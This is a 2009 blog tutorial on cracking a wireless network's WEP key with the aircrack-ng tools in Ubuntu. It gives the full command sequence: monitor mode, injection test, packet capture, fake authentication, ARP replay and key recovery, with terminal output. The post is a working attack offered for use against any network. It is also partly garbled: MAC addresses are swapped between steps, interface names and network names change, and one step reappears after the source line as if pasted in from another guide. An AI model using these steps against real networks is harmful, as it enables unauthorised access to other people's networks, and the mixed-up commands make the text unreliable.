Tips Tricks Tutorials

WEB-NES-BAY

Learn Tips and tricks on Linux, Hacking, linux, PHP, Perl, Web, Hardware

bookmark bookmark
WEBNESBAY On October - 27 - 2009

This is a simple tutorial on, How to hack the WEP key of a wireless network. We have the tools available in ubuntu to get the WEP Key.  Before proceeding this I am mentioning the complete steps below along with the pre-requisites. This article seems to be very lengthy but please be patience while reading :)

Pre-requisites

  • You are using drivers patched for injection. Use the injection test to confirm your card can inject prior to proceeding.
  • There is at least one wired or wireless client connected to the network and they are active.
  • You should have the aircrack-ng installed in your machine. If its not installed then type sudo apt-get install aircrack-ng

Terms used in this article

  • MAC address of PC running aircrack-ng suite: 00:1e:c9:4a:ca:5d
  • BSSID (MAC address of access point): 00:1e:c9:44:cd:6a
  • ESSID (Wireless network name): Ronny
  • Access point channel: 9
  • Wireless interface: eth1

Step 1

Start the wireless interface in monitor mode on Access Point channel

In this step we will make our card in to monitor mode. By enabling the card in monitor mode your card can listen every packet in the air. When the monitor mode is disabled your card can hear only the packets addressed to you.

First stop eth1 by entering:
sudo airmon-ng stop eth1

The system responds:

Interface       Chipset         Driver

eth1           Centrino        madwifi-ng

Type “iwconfig” in the terminal to ensure there are no other ethX interfaces.  The output in the terminal will look like this.

lo        no wireless extensions.
eth0      no wireless extensions.
wifi0     no wireless extensions.

If there are any remaining ethX interfaces, then stop each one. When you are finished, run “iwconfig” to ensure there are none left. Now, enter the following command to start the wireless card on channel 9 in monitor mode:

airmon-ng start wifi0 9

Substitute the channel number that your wireless Access Point runs on for “9” in the command above. This is important. You must have your wireless card locked to the AP channel for the following steps in this tutorial to work correctly.

The system will respond:

Interface       Chipset         Driver
eth1           Centrino        madwifi-ng

You will notice that “eth1” is reported above as being put into monitor mode.  To confirm the interface is properly setup, enter “iwconfig”.

The system will respond:

lo        no wireless extensions.
wifi0     no wireless extensions.
eth0      no wireless extensions.
eth1      IEEE 802.11g  ESSID:”"  Nickname:”"
Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:0F:B5:88:AC:82
Bit Rate:0 kb/s   Tx-Power:18 dBm   Sensitivity=0/3
Retry:off   RTS thr:off   Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/94  Signal level=-95 dBm  Noise level=-95 dBm
Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
Tx excessive retries:0  Invalid misc:0   Missed beacon:0

In the response above, you can see that ath0 is in monitor mode, on the 2.452GHz frequency which is channel 9 and the Access Point shows the MAC address of your wireless card. Please note that only the madwifi-ng drivers show the MAC address of your wireless card, the other drivers do not do this. So everything is good. It is important to confirm all this information prior to proceeding, otherwise the following steps will not work properly.

Step 2

Test Wireless Device Packet Injection

The purpose of this step ensures that your card is within distance of your AP and can inject packets to it or not.

Enter:

 aireplay-ng -9 -e Ronny -a 00:1e:c9:4a:ca:5d  eth1

Where:

  • -9 means injection test
  • -e Ronny is the wireless network name
  • -a 00:1e:c9:4a:ca:5d is the access point MAC address
  • eth1 is the wireless interface name

The system should respond with:

 09:23:35  Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9
 09:23:35  Trying broadcast probe requests...
 09:23:35  Injection is working!
 09:23:37  Found 1 AP 

 09:23:37  Trying directed probe requests...
 09:23:37  00:14:6C:7E:40:80 - channel: 9 - 'teddy'
 09:23:39  Ping (min/avg/max): 1.827ms/68.145ms/111.610ms Power: 33.73
 09:23:39  30/30: 100%

The last line is important. Ideally it should say 100% or a very high percentage. If it is low then you are too far away from the AP or too close. If it is zero then injection is not working and you need to patch your drivers or use different drivers.

Step 3

Start airodump-ng to capture the IVs

The purpose of this step is to capture the IVs generated. This step starts airodump-ng to capture the IVs from the specific access point. Open another console session to capture the generated IVs. Then enter:

 airodump-ng -c 9 --bssid 00:1e:c9:44:cd:6a -w output eth1

While the injection is taking place (later), the screen will look similar to this:

 CH  9 ][ Elapsed: 8 mins ][ 2007-03-21 19:25 

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
 00:1e:c9:44:cd:6a  42 100     5240   178307  338   9  54  WEP  WEP         Ronny
 BSSID              STATION            PWR  Lost  Packets  Probes
 00:1e:c9:44:cd:6a  00:1e:c9:44:cd:6a   42     0   183782

Step 4

Use aireplay-ng to do a fake authentication with the access point

In order for an access point to accept a packet, the source MAC address must already be associated. If the source MAC address you are injecting is not associated then the AP ignores the packet and sends out a “DeAuthentication” packet in cleartext. In this state, no new IVs are created because the AP is ignoring all the injected packets.

To associate with an access point, use fake authentication:

aireplay-ng -1 0 -e Ronny -a 00:1e:c9:4a:ca:5d -h 00:1e:c9:44:cd:6a eth1

Success looks like:

18:18:20  Sending Authentication Request
18:18:20  Authentication successful
18:18:20  Sending Association Request
18:18:20  Association successful :-) 

Or another variation for picky access points:

aireplay-ng -1 6000 -o 1 -q 10 -e Ronny -a 00:1e:c9:4a:ca:5d -h 00:1e:c9:44:cd:6a eth1

Success looks like:

18:22:32  Sending Authentication Request
18:22:32  Authentication successful
18:22:32  Sending Association Request
18:22:32  Association successful :-)
18:22:42  Sending keep-alive packet
18:22:52  Sending keep-alive packet
# and so on.

Here is an example of what a failed authentication looks like:

8:28:02  Sending Authentication Request
18:28:02  Authentication successful
18:28:02  Sending Association Request
18:28:02  Association successful :-)
18:28:02  Got a deauthentication packet!
18:28:05  Sending Authentication Request
18:28:05  Authentication successful
18:28:05  Sending Association Request
18:28:10  Sending Authentication Request
18:28:10  Authentication successful
18:28:10  Sending Association Request

Notice the “Got a deauthentication packet” and the continuous retries above. Do not proceed to the next step until you have the fake authentication running correctly.

Step 5
Start aireplay-ng in ARP request replay mode

The purpose of this step is to start aireplay-ng in a mode which listens for ARP requests then reinjects them back into the network. For an explanation of ARP, see this PC Magazine page or Wikipedia. The reason we select ARP request packets is because the AP will normally rebroadcast them and generate a new IV. Again, this is our objective, to obtain a large number of IVs in a short period of time.

Open another console session and enter:

aireplay-ng -3 -b 00:1e:c9:4a:ca:5d -h 00:1e:c9:44:cd:6a eth1

It will start listening for ARP requests and when it hears one, aireplay-ng will immediately start to inject it. On your home network, here is an easy way to generate an ARP request: On a wired PC, ping a non-existent IP on your home LAN.

Here is what the screen looks like when ARP requests are being injected:

Saving ARP requests in replay_arp-0321-191525.cap
You should also start airodump-ng to capture replies.
Read 629399 packets (got 316283 ARP requests), sent 210955 packets...

You can confirm that you are injecting by checking your airodump-ng screen.

Step 6 - Run aircrack-ng to obtain the WEP key

The purpose of this step is to obtain the WEP key from the IVs gathered in the previous steps. Note: For learning purposes, you should use a 64 bit WEP key on your AP to speed up the cracking process. If this is the case, then you can include ”-n 64” to limit the checking of keys to 64 bits.

Two methods will be shown. It is recommended you try both for learning purposes. By trying both methods, you will see quickly the PTW method successfully determines the WEP key compared to the FMS/Korek method. As a reminder, the PTW method only works successfully with arp request/reply packets. Since this tutorial covers injection arp request packets, you can properly use this method. The other requirement is that you capture the full packet with airodump-ng. Meaning, do not use the ”--ivs” option.

Start another console session and enter:

aircrack-ng -z -b 00:1e:c9:4a:ca:5d output*.cap

To also use the FMS/KoreK method, start another console session and enter:

aircrack-ng -b 00:1e:c9:4a:ca:5d output*.cap

If you are using 1.0-rc1, add the option ”-K” for the FMS/KoreK attack. (1.0-rc1 defaults to PTW.)

You can run this while generating packets. In a short time, the WEP key will be calculated and presented. You will need approximately 250,000 IVs for 64 bit and 1,500,000 IVs for 128 bit keys. If you are using the PTW attack, then you will need about 20,000 packets for 64-bit and 40,000 to 85,000 packets for 128 bit. These are very approximate and there are many variables as to how many IVs you actually need to crack the WEP key.

Here is what success looks like:

Aircrack-ng 0.9

[00:03:06] Tested 674449 keys (got 96610 IVs)
KB    depth   byte(vote)
0    0/  9   12(  15) F9(  15) 47(  12) F7(  12) FE(  12) 1B(   5) 77(   5) A5(   3) F6(   3) 03(   0)
1    0/  8   34(  61) E8(  27) E0(  24) 06(  18) 3B(  16) 4E(  15) E1(  15) 2D(  13) 89(  12) E4(  12)
2    0/  2   56(  87) A6(  63) 15(  17) 02(  15) 6B(  15) E0(  15) AB(  13) 0E(  10) 17(  10) 27(  10)
3    1/  5   78(  43) 1A(  20) 9B(  20) 4B(  17) 4A(  16) 2B(  15) 4D(  15) 58(  15) 6A(  15) 7C(  15)

KEY FOUND! [ 12:34:56:78:90 ]
Probability: 100%

Notice that in this case it took far less then the estimated 250,000 IVs to crack the key. (For this example, the FMS/KoreK attack was used.)

I know you have lots of doubts in your mind. Please comment

Source

Step 3 - Start airodump-ng to capture the IVs

The purpose of this step is to capture the IVs generated. This step starts airodump-ng to capture the IVs from the specific access point.

Open another console session to capture the generated IVs. Then enter:

 airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w output ath0

Where:

  • -c 9 is the channel for the wireless network
  • --bssid 00:14:6C:7E:40:80 is the access point MAC address. This eliminate extraneous traffic.
  • -w capture is file name prefix for the file which will contain the IVs.
  • ath0 is the interface name.

While the injection is taking place (later), the screen will look similar to this:

 CH  9 ][ Elapsed: 8 mins ][ 2007-03-21 19:25 

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID

 00:14:6C:7E:40:80   42 100     5240   178307  338   9  54  WEP  WEP         teddy                           

 BSSID              STATION            PWR  Lost  Packets  Probes                                             

 00:14:6C:7E:40:80  00:0F:B5:88:AC:82   42     0   183782

Related posts:

  1. Hack Windows Admin Password using Ubuntu Linux
  2. How to surf anonymus in ubuntu linux
  3. How to hack bluetooth mobile phone
  4. Linux Keylogger in Ubuntu
  5. How to block websites in Ubuntu Linux
  6. Download youtube videos in ubuntu linux
  7. How to enable Auto Login in Ubuntu Linux
  8. Send and Receive Hotmail through Evolution in ubuntu
  9. How to use Windows Key in Ubuntu Linux
  10. Yahoo messenger web cam hack
Categories: Hacking, Linux

Leave a Reply